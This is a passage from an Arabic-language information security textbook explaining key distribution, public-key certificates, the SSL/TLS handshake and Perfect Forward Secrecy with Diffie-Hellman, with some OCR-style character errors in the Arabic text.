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، (s)ثُم يدطُل الأطير في معادلة الحصُول على ال  hash codeليتم انتاج ال  hash functionللى ال  M تدطل الرسالة

وذي التي سيقوم ، (r)ذي ال  . لاحظ أن  القيمة التي ستُحدد سَلامة الرسالة ذُناqأيضاً مع ال  kحيثُ نستخدم ال 

 (r)الرائعة ستجد أن ال  Algorithmذه ال الطرف الثاني بإجراء حساباته  من أجل اطتبارذا!، وببعض التدقيق على ذ

ا، وذذا ما يزيد  (M) في شيء!، بمعنى أن  ال (M)ذذه لا تعتمد على الرسالة  من الُمدطلات الخاصة بِ  ن ض  ليست م 

 قوتها!.

سابات لإنتاج  ل الرسالة للى الطرف الآطر، سيقوم ب عَمل بَعض الح  تها بال بمقارن ، سيقوم(v)قيمة نُسميها وعندما تَص 

(r) .القادمة من الطرف الأول، ويجب أن يتشابِا، وللا قيتم رقض الرسالة 
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Key Distribution 
 

 وكيفAsymmetric Cryptography وال  Symmetric Cryptographyكُنا نتحدث في الفقرات الماضية عن ال 

ولكن كيف ستتم عملية  .”Keys“ف باستخدام ال يتم تحقيق الهدف من طلال تشفير البيانات الُمراد تبادُلها بين الأطرا

 ؟.ةفي العملي ةالمشترك فاطرللى الأالمتفق عليه  Key  لرسال ال

باستخدام ال  Key Distributionسنتكلم عن سيناريو لعملية ال  الصورة. ناما سنتحدث عنه ذُنا كي تكتمل لديذذا 

Symmetric Encryption وباستخدام ال  ،مرةEncryption Asymmetric .مرةً أطرى 
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Using Symmetric Key Encryption  
 

 
 

 

ن!. keyالتقليدي، ونريد ذنا أن يصل ذذا ال  Symmetric Encryptionذذا شكل ال   للطرقين بشكل آم 

و  A الُمستخدم في عملية تبادُل البيانات بين الطرقين keyوذو ال  ”Session Key“بالأعلى  keyسنطُل ق على ذذا ال 

B ، أطلقنا عليهSession  لأنه سيتغير عند عملية بدءSession  جديدة. ذذا ينطبق على الApplications  التي

 كبروتوكول لنقل البيانات بشكل عام. TCPتستخدم ال 

 وأيضاً الطرف ،(KDC)طرف ثالث  بينه وبين ،”Master Key“آطر نُطل ق عليه  Key (Ka)بالتواقق على  Aسيقوم 

B  مع ذذا ال سيتواقق(KDC)  علىkey  ًأيضا(Kb). 

 

 لنأطذ مثال:
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فتاح  (Key Distribution Center)ل  روذو اطتصا KDCبمُشاركة ال  Aسيقوم الطرف   B وأيضاً الطرف ،(Ka)بم 

 . Bو  A قبل أي عملية تواصُل ق علية بَين KDCسيقوم بنفس الأمر مع ذذا ال 

ندما يَرغب الطَرَف  Sessionالمُستخدم في ذذه ال  ”Session Key“سيبدأ بطلب  B مَع الطَرف Sessionب فتح  A وع 

 .KDCمن ال 

 

 ذذه؟ Session Keyكيف تتم عملية طلب ال 

ض أنه من يريد بدء  A سيدأ الطرف  .B مع الطرف Sessionولنفر 
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نه  KDCسيبدأ بإرسال طلب للى ال   تغيرات.، ذذا الطَلَب يتكون من ثلاثة مُ Session Keyيطلُب م 

 IDBوالثاني ذو ال  ،على سبيل المثالالخاص به  IP Addressكأن يكون ال  Identity of A ويعني IDAالأول ذو ال 

ن ذُنا!. Bلأن الطرف   ذو المعني بإنشاء الإتصال الآم 

صل لعمل )الُمستخدم من ق بَل بروتوكولات التوا Sequence number.. ذذا الُمتغير أشبه بال N1والثالث ذو ال 

tracking  للpackets  الُمرسلة(، سيكون الN1  .ذُنا رقم عشوائي 

 

سالة لهُ وقد تم تشفيرذا بال  KDCقيقوم ال  د عليه بإرسال ر  من قكها لأنه قد اتفق مع  A، قيتمكن الطرف (Ka)ب الر 

ن قَب ل. Keyعلى ذذا ال  KDCال 
 م 

دة مُ  نها ع   تغيرات أيضاً..ذذه الرسالة بَعدَ قكها سَيَخرُج م 

، ويقوم بإضاقة محتويات (Ks)وذو ال  B مع Sessionلبدء ال  A الذي يُريده Session Keyال  KDCسَيُعطي لهُ ال 

 الذي أرسلته لليّ  Requestطاص بال  Responseوذذا للتأكيد على أن ذذا ال ، A الرسالة السابقة التي أرسلها له

ل  A للى N1نفس الرقم العشوائي  KDCن طلال لرجاع ال ، وذذا يظهر مالآن!، وليس لطلب غيره كما ذو، تَح م 

سالة أيضاً ال   .B للطرف KDCالذي أعطاه ال  Key، وذو ال Kbالرِّ

 

 ذذا، قهو لا يَخُصُه؟ Kbال  A للطرف KDCولماذا يعطي ال 

رة قيقوم بإرساله في ر ،”Session Key“وذو ال  Ksال  Bبإعطاء الطرف  Aذذا لكي يقوم   سالة مُشف 

 .Bقيما بعد لإرسال مايُريد للطرف  Aالذي سيستخدمه  Ksمن قكها والحصول على ال  Bيتمكن  كي Kbبال 
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ققط،  Bو  A بين الطرقين ”Authentication“لاحظ أن الخطوات الثالثة والرابعة والخامسة تم وضعهم لتحقيق لل 

 Key Distributionوليست من ضمن عملية ال 

 

 

Using Asymmetric Encryption 

 في عملية قك التشفير. Public Keysوذو الذي نستخدم طلاله ال  Asymmetric Encryptionتكلمنا عن ال 

 
 

الخاص به لأي طرف يريده كما يظهر في الشكل التالي، وذذا يعد لجراء  Public Keyويمكن لأي طرف لرسال ال 

 .ةالمجموعات البريديحالات طصوصاً في  A والإدعاء أنه Public Keyإرسال أي  يقوم أحدذم بغير آمن!، قربما
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ط و بإرسال ال  A يقوم ذُنا الطرف .Asymmetric Encryptionباستخدام ال  (Ks)لرسال ال  يوضحذذا مثال مُبس 

Public Key  الخاص به(PUa) للى الطرف B قيقوم ،B  بإرسال الKs  وذو ال“Session Key”  للىA  تشفيره  بعد

ولكن من الُممكن لهذا السيناريو  .الخاص به. Private Keyبفك التشفير باستخدام ال  Aقيقوم ، (PUa)باستخدام ال 

 بِذا الشكل: MITM Attackأن يتعرض لل 
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جديد ويُرسلهُ  Public Keyل   generateوالاحتفاظ به، ثُم يقوم بعمل  PUaذُنا بالإمساك بال  Darthسيقوم السيد 

نهُ ثُم يَقوم ب تشفيره مرةً أطرى باستخدام ال  ةله، يأطذ نُسخ Ksسيأتي ال  ة، ثُم في العودAliceللى  ويُعيد  PUaم 

 .Bobلرساله للى السيد 

  

يتم وذذا س بين الأطراف دون تعرضها للخطر!. Public Keysوبالتالي يلزم وجود طريقة آمنة للقيام بتوزيع ال 

 PUaفي عملية ليصال ال  ةبشكل يدوي، أو باستخدام أحد الطرق التالي Keyال  تسليم بوجود طرف ثالث كأن يتم

 قيما بعد. Ks، ثُم لرسال ال Bللى 

 

 

Distribution of Public Key Methods 
 

 Public-Key Authority 

 Public-Key Certificate 

 

 

Public-Key Authority Using 

لديها  Central Authorityل نفرض وجود  :Public-Key Authority سنتكلم الآن عن سيناريو باستخدام ال

Server  ن به ال معلوماً  Authorityالخاص بِذه ال  Public Key، ويكون ال Clientsال الخاصة ب Public Keysمُُز 

 لديهم.



 Understanding Hacking and Information Security                                                  توأمن المعلوما  ةالقرصنة الإلكتروني
 

Cryptography 
 [387] 

 
 .Authority عبر ال B  و A ذذا سيناريو يوضح تفاصيل لنشاء الاتصال بين
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 Authorityبإرسال طلب للى ال  Initiatorوذو ال  Aفي ذذه العملية، تبدأ بقيام  ةطوات الُمت بعَيظهر في الشكل الخ

رة Bالخاص بالطرف  Public Keyقترد عليه بإرسال ال  .Bالخاص بالطرف  Public Keyيطلُب ال   برسالة مُشف 

 الخاص بِا قسيتمكن من قك التشفير. Public Keyلديه ال  A، وب ما أن Authorityالخاص بال  Private Keyبال 

رة  Bللى  N1الخاص به  مع رقم عشوائي يقوم باطتياره  IDبإرسال ال  Aيقوم   .PUbباستخدام ال في رسالة مُشف 

، ويقوم بعمل N1نفس الرقم العشوائي  Aرسل للى يُ و  ذو أيضاً.. Authorityمن ال  PUaبطلب ال  Bقيقوم 

Increment د مثلًا، لنسُميه لهذا الرقم بواحN2 ن ال . يتم لرسالهم Authentication، ويرسله أيضاً مع الأول كَنوع م 

رة بال   .(6) رقم ةكما يظهر في الخطو PUaفي رسالة مُشف 

د عليه  عل! N2بإرسال الرقم  Aقَيَرُ  .(7)رقم  ة، كما ذو موضح بالخطومرةً أطرى ليؤكد له أنه قد وصلَ لليه ب الف 

 

 

Using Public-Key Certificate 

بين أي طرقين يودان التواصل بشكل آمن قيما  ”public key distribution“عن عملية ال  ةالسابقتكلمنا في الطريقة 

. وبإجراء بعض التدقيق على السيناريو Public Key Authorityوذي ال  Trusted Third Partyبينهم عن طريق 

ب عليه  الإتصال بال  A الطرف يُريد ةالسابق سنلُاحظ أنه في كل مر ، Autorityالتواصل مع أي طرف آطر سَيَتَوَج 

  للوقت. اً كستهل  مُ وذذا الإجراء 

 

للأطراف التواصل قيما بينها ل تَبَادُل  Certificates. تُتيح ذذه ال Certificatesتم التَغَلُّب على ذذا الأمر باستخدام ال 

 .Public Key Authorityطلال ال  للتواصل ةدون الحاج Public Keysال 

 :Certificateلل  ةذذه بعض الخصائص الُممَيِّز
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 وعلى  A والإطلاع من طلالها على بيانات الطرف Certificateيستطيع قراءة ال  Aلأي طرف يتواصل مع  .1

. Public Keyال   الخاص به 

 Certificate، بمعنى التأكد من أن ذذه ال Certificateلهذه ال  ةالمان حَ  Authorityأي طرف يستطيع التحقُق من ال  .2

 !.ةليست مُزيف

ق من تاريخ أو صلاحية ذذه ال  .3 م يُمك نهُ التحقُّ ريخ من الخصائص بالطبع يعد التا، Certificateأي طرف أو مُستخد 

، مبيوترضبط ساعة جهاز الكمَواقع الإنترنت في حالة عدم بعض رقض الُمتصفحات قَتح  للشهادات، نُلاحظ ةالمهم

 !. ةمُنتهية الصلاحي Certificatesحيثُ يَعتَبر  حينها أن ال 

 .Certificateعملية لنشاء أو تجديد ال  Certificate Authorityيَح ق ققط لل  .4

 

 :Certificate Authorityبه من ال  ةالخاص Certificateويُعبرِّ الشكل التالي عن عملية حصول كل منهم على ال 
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 Public Key (PUauth)، وتقوم ذي بإرسال ال CA الخاص به للى ال Public Keyإرسال ال يقوم الشخص ب

بتطبيق مجموعة من الخطوات، وبعدذا تقوم بإرسالها للى  CAثُم  تتم عملية لنشاء الشهادة داطل ال  الخاص بِا لليه.

ا  PUauthالشخص ذاته كما يظهر بالشكل، على ذيئة رسالة مُشفّرَة بال   ID أوبيانات ذذا الشخص من لسمه وبِ 

يُعَبرِّ عن تاريخ صدور  field، وذو Timestamp (T)الخاص به، وشيء أطير يُسمى  Public Key الخاص به، وال

 .ةلهذه الشهاد Currencyويستخدم من قبل الطرف المستلم للتحقق من ال  الشهادة

 ةالخاص Certificateال  بواسطة أي طرف عند استلامه التي تتم Decryptionال تعبر عن عملية  ةالتالي ةالمعادل

 :Aبالطرف 

D (PUauth, CA) = D (PUauth, E (PRauth, [T || IDA || PUa])) = (T || IDA || PUa) 

 

 ةليتمكن من رؤية بيانات الشهاد Authurityالخاص بال  Public Keyلها باستخدام ال  Decryption  قيقوم بعمل

 .A اص بالطرفالخ Public Keyوال 

 

 .CAبعد اعتمادذا من نفس ال  Certificatesالشكل يوضح تبادل الأطراف ال 
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Inside Secure Socket Layer (SSL) 

 

وذلك بقيامه   .عبر الإنترنت Browsersوال  Web Serversبين ال في تشفير البيانات  TLSأو ال  SSLيُستَخدَم ال 

ن  Algorthimsأنواع ال  بإجراء التواقق بين الطرقين على  ثَم  تَبادُل البياناتالمُستخدَمة في تأمين الإتصال وترتيبها، وم 

 بأمان.

 info.ssl.comعنه من موقع  ةسِيع ةمايلي مقدم

SSL is the standard security technology for establishing an encrypted link between a web server and a 

browser. This link ensures that all data passed between the web server and browsers remain private and 

integral. SSL is an industry standard and is used by millions of websites in the protection of their online 

transactions with their customers. 

To be able to create an SSL connection a web server requires an SSL Certificate. When you choose to 

activate SSL on your web server you will be prompted to complete a number of questions about the 

identity of your website and your company. Your web server then creates two cryptographic keys - a 

Private Key and a Public Key. 

The Public Key does not need to be secret and is placed into a Certificate Signing Request (CSR) - a data 

file also containing your details. You should then submit the CSR. During the SSL Certificate application 

process, the Certification Authority will validate your details and issue an SSL Certificate containing your 

details and allowing you to use SSL. Your web server will match your issued SSL Certificate to your 

Private Key. Your web server will then be able to establish an encrypted link between the website and 

your customer's web browser. 

Typically an SSL Certificate will contain your domain name, your company name, your address, your 

city, your state and your country. It will also contain the expiration date of the Certificate and details of 

the Certification Authority responsible for the issuance of the Certificate. When a browser connects to a 

secure site it will retrieve the site's SSL Certificate and check that it has not expired, it has been issued by 

a Certification Authority the browser trusts, and that it is being used by the website for which it has been 

issued. If it fails on any one of these checks the browser will display a warning to the end user letting 

them know that the site is not secured by SSL. 
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 Applicationبين ال  Socket. قهو يعمل ك TCP، أيَ قوقَ ال Transport Layerقوق ال  SSLيعمل بروتوكول ال 

Layer  والTransport Layer ويقوم بتأمين الإتصال لل ،Applications  التي تعتمد على الTCP  كبروتوكول لنقل

 كما يظهر بالشكل التالي: Dataال 

 
في عملية نقل ال  TCP، ويعتمد على ال HTTPكال  Application Layer Protocolsال  بخدمة SSLيقوم ال 

Messages  بين الWeb Servers  والBrowsers. 

بشيء  SSLوالآن.. سنبدأ بتغطية ال 

، لا يعمل ال ةفي الحقيق من التفصيل.

SSL   في طبقة وحيدة، أي أنه لا يُعَد

Single Protocolولكن يَعمَل في !.. 

كما يظهر  TCPطبقتين قوق ال 

ر لنا الشكلبالشكل بعض  . أيضاً يُظه 

 تفاصيل الخاصة بِذا البروتوكول،ال

“SSL Protocol Stack”. 
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غَل طبقتين ظ أنه يَش   :كما نُلاح 

 (Two Layers) لحداذُم لل ،SSL Record Protocol ، والأطرى التي تَشمَل ثلاثة بروتوكولات يُوَظفهُم الSSL 

 بين الطرقين. Message Exchangesارة عملية ال في لد

 

 على مرحلتين: Connectionيتم لنشاء ال 

  المرحلة الأولى وذيَ الHandshake Phase. 

 وذيَ  ةالمرحلة الثانيSecure Data Transfer Phase. 

 

 

Handshake Phase 

ل نوع ال  (Negotiate)، والتفاوض Serverوال  Clientبين ال  Authenticationتتم في ذذه المرحلة عملية ال  حَو 

Cryptographic Algorithms  والKeys في تأمين لرسال ال  ةالُمستَخدَمData. 

 

 .Serverوال  Clientالتي تتم طلال ذذه المرحلة بين ال  Messagesمايلي شكل يوضح ال 

 ذذه.  Negotiationال و Authenticationذُنا المسؤول عن عملية ال  Handshake Protocolيُعَد ال 
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 ”Client Hello“وذيَ ال  Messageنبدأ بأول 
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، وتحوي Msgعن طريق لرسال ذذه ال  Web Serverمع ال  Sessionذُنا ببدء ال  Client (Browser)يقوم ال 

 الآتي:

 
Version 

The Client sends the version number that it supports. For example, for SSLv3, the version 

number is 3.0. For TLS, the version number is 3.1.  

 
Random 

ن من  يحدُث  Connectionل كُل  Clientوال  Serverيختارهُ كل من ال  Byte 26ذو عبارة عن رقم عشوائي مُكو 

 بينهم.

 
Session ID (if any) 

This is included if the Client wants to resume a previous session. If the Session ID Length is 0, it 

indicates a new session.  

 
Cipher Suite 

This is the list of cipher suites that are supported by the Client.  

ثال لتوضيح ذذا ال  ضسَنَ  Cipher Suiteوكَم   أحدذم: عر 

)TLS_RSA_WITH_DES_CBC_SHA(  

TLS is the protocol version, RSA is the algorithm that will be used for key exchange, DES_CBC 

is the encryption algorithm, and SHA is the hash function. 

 

 ..؟DES Cryptosystemالُمستَخدَم مع ال  CBCولكن ماذذا ال 

التعقيد في  ةبغرض زياد Blocks of Dataتشفير ال  في ةمَ خدَ الُمستَ  ”Modes of Operation“لنه أحد ال أنواع ال 

 .Ciphertextوال  Plaintextالعلاقة بين ال 

 .WireSharkتَمّ التقاطها بال  ”Client Hello“مايلي مثال ل  
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 تعني:و  PFSطاصية ال  يدعم browserأن ذذا ال  cipher suitesتحت ال  ةالبدائل المطروح نستنتج من طلال

(Perfect Forward Secrecy)  

 ..(DHE and Elliptical DH) وذلك بسبب لعطاء أولوية لنوعين ذم

 بعد قليل.. عن ذذه الخاصيةسنتحدث 
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 Clientوذيَ ال  Handshake Type، وال Handshakeذو ال و ،البروتوكول المُستخدَم السابق لاحظ في الشكل

Hello أيضاً ال ،Version  والRandom ثُم  ال ،Session ID  ُحيثُ يعني أنها  "صفر"وقيمتهSession ةجديد .!

ضها ال  Parameterوأطيراً يأتي لنا أذم   Webعلى ال  Browserفي ذذه الرسالة وذو الإحتمالات أو البدائل التي يَعر 

Server  كي يقوم الServer  باطتيار واحدة من ذذه الCipher Suites  ولبلاغ الBrowser  بِا في الرسالة التي

 .”Server Hello“ال  تليها، وذيَ 

 

 :WireSharkتم التقاطها بال  Serverقادمة من طرف ال  Helloمن نوع  Messageمايلي 

 
ظ في السطر قبل الأطير أن  ال   مايلي: اطتياره ذذا ، ونستنتج منلقام باطتيار أحد البدائ Web Serverنُلاح 

The long-term keys are used both for the server’s authentication and for the session key 

generation by means of RSA key exchange mechanism. 
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تذكر ذذا ال  ،PFS طاصية ال  يتم ضبط الإعدادات لديه ليختار أحد البدائل التي تدعملم serverوذذا يعني أن ال 

cipher suite  الذي اطتاره الserver  لأننا سنتحدث عنه في ققرة الPFS. 

 .Hello Messageوذيَ ال  Handshake Phaseوبِذا تنتهي أول ططوة في ال 

ص لنا ذذه الخطوة:الذذا   شكل يُلخِّ

 
 

 ”Authentication and Key Exchange“وذيَ ال  Phaseسننتقل للى الخطوة الثانية في ذذا ال 

 

 Public، وتحوي الBrowserبه  للى ال  ةالخاص Certificateبإرسال ال  Web Serverبأن يقوم ال  ةتبدأ ذذه الخطو

Key   الخاص بالServer . 

جديد يقوم  Keyلإرسال  ةبعد قليل في الخطوة الثالث Browserسيستخدمهُ ال  Server’s Public Keyذذا ال 

 .Serverللى ال  "Pre_Master_Secret Key"بإنشاؤه يُسمّى 

راً  Pre_Master_Secret_Keyيتم لرسال ال  تكون بعنوان  ةذذه الرسال.. Server’s Public Key بالمُشف 

“Client_Key_Exchange”  

 شاءالله. لن (Step 3) ةالثالث ةسنُشاذدذا معاً في الخطو
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 .Pre_Master_Secret Keyلل  recoverوعَمَل  ةعلى الرسال Server’s Private Keyبتطبيق ال  Serverقيقوم ال 

 "..؟Pre_Master_Secret_Key"وما ذذا ال 

مهُ ك لاذُم في مُعادَلَ  Keyأنه  ”Pre_Master“يبدو واضحاً من لسمه،   آطَر،  Keyل   generateل عَمَل  ةمؤقت سَيَستخد 

 سنتعرض لليهم لاحقاً..، Session keyذو ال 

 .Phaseمايلي شكل يوضح الخطوة الثانية في ذذا ال 

 

 
 

ظ لرسال ال  . أيضاً الرسالة الثانية التي بعنوان Messageول في أ Certificateلل  Serverنُلاح 

“Server_Key_Exchange”  مكتوب ب جان ب ها(Optional)!.. 
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 لماذا؟

 ةالخطُوة الثاني Serverثُم  يُنهي ال ا، له بالتالي لن يكون بحاجه ،key exchange  RSAقام باطتيارذُنا  Server ن اللأ

 .Client، وينتظر الرد من طرف ال ةأنه أنهى ذذه الخطو Clientبِا ال ويُخ ط ر  ”Server_Hello_Done“برسالة 

 .Certificateالتي تحوي ال  Serverلأول رسالة أرسلها ال  Session مايلي

ظ أنها تحوي ال   )تم  تحديده بالأسفل(،  Serverالخاص بال  Public Keyلاح 

 

 .Handshake Phase للى ذُنا تنتهي الخطوة الثانية في ال

 (Step 3) ةثُم  تبدأ الخطُوة الثالث
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 ”Pre_Master_Secret_Key“قيما بينهم وذو  ”Shared Key“على  Serverوال  Clientوقيها يَحدُث التواقق بين ال 

 .من قبلالذي ذكرناه 

 

 .ةالُمهم Messagesسنقوم بتسليط الضوء على ال 

 من قبل.. RSA وبما أنه تم اطتيار ال.. ”Client_Key_Exchange“التي بعنوان  ةالرسالة الثاني يظهر في الشكل
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،  وتشفيره له generate بعمل clientحيثُ يقوم ال  ،”Pre_Master_Secret Key“تحتوي على ال س  ةالرسالهذه ق

لهُ للى ال ،Server’s public keyباستخدام ال   .Server ثم يُرس 

ن ال  Keyذذا ال  مهُ كُل م    ،”Master_Secret_Key“آطر اسمه:  Keyفي لنتاج  Clientوال  Serverسَيَستخد 

 ”Pre_Master_Secret Key“يدطُل بِا ال  ة، يتم لنتاجهُ بمُعادلَ byte value) (One-time-48 وذو عبارة عن

 .”Client and Server Random values“وال 

 ذلك بتطبيق اليتم و، في الخطوة الأولى ”Hello_Messages“تَم  تبادُلها أثناء ال  قد ذيَ التي Randomsذذه ال 

Cryptographic Hash Algorithms .على ذذه الُمدطلات 

 

 ؟ةفي ذذه العملي "Client and Server Random values"ولكن ما قائدة دطول ال 

خرجات علاقة غير المُ بين المدُطلات و ةذذه الُمعادلة، لكي تكون العلاق في ”Salt“ال تُعَد ب مَثابة  Randomذذه ال 

 ةالشكل التالي يوضح  تفاصيل الرسال.. من قبل!، ذل تتذكرذا؟ شفيرفي عملية الت Saltقائدة ال  تحدثنا عنمُباشره.. 

 .Serverبإرسالها للى ال  Clientالتي قام ال 

 

 
 



 Understanding Hacking and Information Security                                                  توأمن المعلوما  ةالقرصنة الإلكتروني
 

Cryptography 
 [403] 

التي  Messagesال  بأن   Serverأنه يُب ل غ ال  وتعني، ”Change_Cipher_Spec“بإرسال بعد ذلك  Clientيقوم ال 

ره باستخدام ال  سالة ستكون مُشف  قُب ذذه الر   .الذي تم تكوينه لدى كل منهم session Keyستع 

 

ن قَبل! (Change Cipher Spec)ولكن لحظة!.. ذذا ال   رأيناهُ م 

 في لدارة عملية الإتصال.  SSLلنهُ أحد البُروتوكولات الذي كانَ يوظفهم ال 

 

Change Cipher Spec Protocol 

بين ال  ةالحالي Stateكما نعلم، ويقوم بوظيفة وحيدة وذيَ نقل ال  Application Layerذذا البروتوكول يعمل في ال 

Client  والServer  من الPending  للى الCurrent State. 

 

 ..؟Currentوال  Pendingماذذا ال 

بين الطرقين غير  Connectionالخاصة بال  Stateل تكون ا Handshake Phaseمن الواضح أنه طوال مرحلة ال 

د حدوث الإتفاق بينهم وتكوين ال ةمُستقر ، يقوم ذذا البروتوكول بتغيير الحالة Master Secret Key، وب مُجر 

ذا ال  Cipher Suiteلل  updateبينهم.. ببساطة يقوم بعمل  الحاد ث. ونتيجةً  Connectionكي يتم استخدامه له 

 .”Change_Cipher_Spec“يبدأ الطرقين بعدذا ب تَبادُل الرسالة لذلك.. 

، بل يتم لرسالها بالبروتوكول الآطر. Handshake Protocolذذا يعني أن  ذذه الرسالة لا يتم لرسالها بواسطة ال 

الجديدة،  Keysوال  Algorithmsعليها ال  مُطَب ق ”Client_finished“قوراً بإرسال رسالة  Clientوبعدذا يقوم ال 
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  ”Server_Finished“أيضاً.. متبوعة برسالة  ”Change_Cipher_Spec“بالرد عليه بإرسال  Serverقيقوم ال 

 ما يلي:ك

 

 
 

ي. (Application Layer Data)بداية تَبادُل ال  Finishedيظهر في الشكل بعد انتهاء رسالة ال  ّ
ن وسِ   ب شَكل آم 

 

 الذي يظهر في الشكل بالأعلى؟ ”Record Protocol“ولكن ماذذا ال 

ذذا البروتوكول يعمل  .Clientوال  Serverبين ال  Application Dataواضح أنهُ البروتوكول المسؤول عن نقل ال 

ح آلية عمل ذذا البروتوكول: TCPقوق ال   مُباشرةً.. مايلي شكل يوضِّ
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لَها ثُم   Fragmentويقوم بعمل  Application Layerمن ال  Dataبناءً على الشكل، يستلم ذذا البروتوكول ال 

ثُم  أطيراً لضاقة ال  Key_Blockعليها، ثُم  تشفيرذا بال  Message Authentication Codeضغطها، ولضاقة ال 

Header  الخاص ب ه  على الPacket  وتسليمها للى الTCP للى الطرف الآطر.  ل تَبدأ عَمَلية نقلها 

 

متَ آلية عَمَله. SSL Protocol Architecture دعني أُريك ال  مرةً أطرى بعد أن قَه 
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 ..؟Alert Protocolولكن ما وظيفة ذذا ال 

ل يتم نقلها داط Alertsبيَن الطرقين، ذذه ال  ”SSL-related Alerts“يبدو واضحاً من لسمه!.. قهو يقوم بنقل ال 

ره أيضاً. في حالة حدوث أي طلل  تبادلها يتم، Fatal Alerts يُسمى Alerts نوع من ال ذُناك رسائل مضغوطة ومُشف 

 مُتعلِّق بعملية التواصل. 

نها: مايلي  بَعضاً م 

unexpected_message: An improper message was received. 

handshake_failure: The sender was unable to negotiate the Cipher Suite. 

bad_certificate: A received certificate was contained a signature that didn’t verify 

unsupported_certificate: The type of the received certificate is not supported. 

certificate_expired: A certificate has expired. 
 

في العديد من ال  ةبروتوكولات المُستَخدَم، قهو يُعَد من أذم الSSLقد أنهينا الحديث عن بروتوكول ال  بِذا نكون

Applications. 
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Perfect Forward Secrecy (PFS) 

 

 المثال السابق.. ، سنقوم أولاً بالمرور سِيعاً على أذم ططواتةقبل أن نشرع بشرح ذذه التقني

 session key لى الالتواقق عم ثُ  ،قيما بينهم Authenticationال  تمتحيث  Handshakeيبدأ الإتصال بعملية ال 

وربما يمتد استخدامه لعدة مرات أطرى، وبعدذا يتم  sessionالذي سيتم استخدامه في تشفير  البيانات لهذه ال 

في المثال  قيما بينهم. session keyذنا ذي تأمين عملية انتقال ال  ”key exchange phase“التخلص منه. ووظيفة ال 

. session keyيُستخدم لحماية ال ”server’s private key“ ، بمعنى أن الةلعمليلهذه ا RSAالسابق تم استخدام ال 

 session كشف الفي يد أحدذم قسيتمكن من  private key لكن ذناك نقطة ضعف، وذي أنه لن تم وقوع ذذا ال

key ومن ثم الإطلاع على محتويات ال sessions .!التي دارت بينهم 

لدى ال  ةقإنها مُتاح Salt لتقوم بدور ال pre_master key تم استخدامها مع الي الت Randoms للى ال ةوبالنسب

attacker لأنه قد تم تبادلها أثناء ال Hello messages .!بدون تشفير 

 

 صعباً؟أمراً  private key الحصول على ال أليسولكن 

يستطيع كسُ ما لشهور أو سنوات للى أن لديه رب encrypted sessions يستطيع أحدذم الإحتفاظ بِذه النعم، ولكن 

قيقوم باستخدامه  key ونسخ ال server أو أن يتمكن من الوصول لهذا البتقدم التكنولوجيا حينها،  key ال اذذ

 .لفك تشفير ذذه البيانات التي قام بالإحتفاظ بِا

قإنه لا يؤثر  private key لل compromise حيث يعتمد قكرة أنه لن حدث ،Forward Secrecy ومن ذُنا جاء ال

 .session key على ال ةبالتبعي
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  Ephemeral Diffie-Hellmanالإنتقال للى

 ..private keyعلى ال  session keyوالآن وبعد أن تعرقنا على نقطة ضعف اعتماد ال 

 ذذه!.في التغلب على نقطة الضعف  ةرائع من لمكانية ا لهُ لم   ةلهذه العملي DHسنقوم باستخدام ال 

When we use Diffie–Hellman key exchange in SSL, it is only used for deriving a session keys, 

the authentication of the server is done by the server’s private key.  

The use of Diffie–Hellman key exchange is to use a separate method to derive session key 

independent from the server's private key. 

 وكيف يتم ذلك؟

ط ةسنوضح الأمر بطريق  ..ةمُبس 

ض ذذه القناة للاطتراق لنرى DHأنه وجود طرقان يتواصلان باستخدام ال لنتصور معاً  ، وفي نفس الوقت سنعُرِّ

 مايمكن أن يحدث!
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  سيقومBob  وSara قيلتقطه السيد ، "الأزرق"اللون ليكن و، قيما بينهما لون بالتواقق على

eavesdropper ...!لابأس 

 باطتيار لون آطر دون أن يُخبر الطرف الآطر به!، أي أنه أمر سِي لكل  ةثُم يقوم كل منهم على حد

، ويُمَثِّل ذذين "الأطضر"باطتيار اللون  Bobوقام  ،"الأحمر"باطتيار اللون  Saraطرف، ققامت 

لأنه لم يتم تبادلهم عبر  ة اللونينمن معرق eavesdropperولم يتمكن ال  . ”private key“اللونين ال 

 القناة!.

  الذي تم اطتياره يقوم كل طرف بخلط اللونين معاً، أي اللون الأزرق مع اللون السُيوبعد ذلك ،

 .”Public key“يُمَثِّل ال  Mixedذذا ال  لكل منهم. Mixed ال قينتج ذلك

 رسال ذذا ال ثم يقوم كل طرف بإMixed  للى الطرف الآطر، وذُنا يتمكن الeavesdropper  من

 التقاطهم!.

في تكوينه!،  ةمن تحليل الألوان الداطل eavesdropperال لن يتمكن  Mixed colorلكن مهلًا.. ذذا ال 

 ذو ققط يستطيع رؤية ناتج عملية الخلط ذذه.

 ..والآن نأتي للخطوة الأطيره 

قتكون  الطرف الآطر،لذي استقبله من ا Mixedاللون السُي الخاص به مع ال بخلط  طرفيقوم كل 

 ، الأزرق والأحمر والأطضر! ،ةوذي الألوان الثلاث، ةلدى الطرقين متشابِ ةالمحصل

 .”shared key“ونُطل ق عليه  .”Key“أي نفس ال 

قناة الإتصال  على تجسسهبالرغم من  shared keyال  ذذا معرقةمن  eavesdropperولم يتمكن ال 

 بينهم!.
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 باستخدام الأرقام: ةشكل التالي يُعبر عن ذذه العمليال

 
 

 The number (1,048,576) is the shared secret.  

 The numbers (16 and 32) are the public keys.  

 The random numbers (4 and 5) are the private keys.  

 The common number (2 in this example) would normally be passed system-to-system as 

part of the application’s negotiation. 

 

 ؟ذذه ”Ephemeral“لفظة  ماذا تعنيق ،Diffie-Hellman عمل لقد عرقنا قكرة

لونين  يتم اطتيار server ع الم ةجديد session بببدء clientيقوم ال  ةبالإسقاط على مثال الألوان، قفي كل مر

 PFSوذذا مايحقق مفهوم ال  .”New Random intgers“ أي جديدين، Secret Colors سِيينِّ 

Static Diffie-Hellman key exchanges always use the same Diffie-Hellman private keys. So, each 

time the same parties do a DH key exchange, they end up with the same shared secret. 

When a key exchange uses Ephemeral Diffie-Hellman (DHE), a temporary DH key is generated 

for every connection and thus the same key is never used twice. This enables “Forward Secrecy”. 

 

* Note- The perfect forward secrecy offered by (DHE) comes at a price, “more computation”. 

The (ECDHE) variants use elliptic curve cryptography to reduce this computational cost. 
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 ..؟PFSيدعم ال  Browserأو ال  Serverكيف نعرف أن ال 

 الُمستخدم بينكم كمايلي: cipher suiteسيظهر لك ال  Serverعن طريق الإتصال بال 

 
 

 RSA keys are used here for authentication purposes 

 ECDHE is for the key exchange 

 AES is for the encryption itself 
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 ذذا الرابط:عن طريق  Serverأيضاً يمكنك اطتبار أي موقع أو 

https://www.ssllabs.com/ssltest/index.html 

 Qualys ssl labsمايلي مثال لموقع تم اطتباره بواسطة 

 
 

 التي يدعمها ذذا الموقع: cipher suiteوذذه ال 
